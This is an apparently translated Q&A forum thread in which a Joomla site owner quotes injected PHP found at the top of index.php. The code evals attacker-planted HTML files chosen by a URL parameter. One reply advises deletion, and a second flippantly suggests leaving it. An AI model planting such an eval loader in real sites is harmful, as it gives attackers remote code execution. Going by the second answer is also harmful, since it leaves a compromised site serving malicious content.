There is a strange code in the root index.php at the very beginning - the consequences of a virus?

Question

Joomla

Here is the code itself:

$p=$_GET['go'];
echo eval/**/('?>'.join("",file("media/editors/tinymce/skins/lightgray/img/$p.html")).'<?');

2244 html-files are located at the specified path, all in the region of 20KB and created in an instant (May 12, 11 at midnight)
What to do with all this? Delete all files and attached code?

Answer 1

Of course delete :) what a question. And clean this code from index.php

Answer 2

Well, you can leave it if it doesn't bother you.